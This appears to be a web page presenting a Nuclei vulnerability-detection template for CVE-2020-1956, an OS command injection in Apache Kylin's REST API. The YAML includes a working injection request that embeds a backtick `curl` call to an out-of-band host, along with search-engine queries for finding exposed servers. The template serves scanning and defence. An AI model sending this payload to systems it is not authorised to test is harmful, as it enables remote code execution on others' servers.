Apache Kylin 3.0.1 - Command Injection Vulnerability

ID: CVE-2020-1956

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2020,apache,kylin,rce,oast,kev

Description

Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.

YAML Source

id: CVE-2020-1956

info:
  name: Apache Kylin 3.0.1 - Command Injection Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution and potential compromise of the affected server.
  remediation: |
    Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.sonarsource.com/blog/apache-kylin-command-injection-vulnerability/
    - https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706
    - https://nvd.nist.gov/vuln/detail/CVE-2020-1956
    - http://www.openwall.com/lists/oss-security/2020/07/14/1
    - https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf@%3Ccommits.kylin.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-1956
    cwe-id: CWE-78
    epss-score: 0.97374
    epss-percentile: 0.99898
    cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: kylin
    shodan-query: http.favicon.hash:-186961397
    fofa-query: icon_hash=-186961397
  tags: cve,cve2020,apache,kylin,rce,oast,kev
variables:
  username: "{{username}}:"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /kylin/api/user/authentication HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
      - |
        POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
# digest: 4a0a0047304502200bc65482c47802677f27322e80b9893eab4498c4be564f7555fdf12d13643723022100a8793f60459b849ce5e174ff067137743808652435a503106a2157861c8cb3c2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-1956.yaml"

View on Github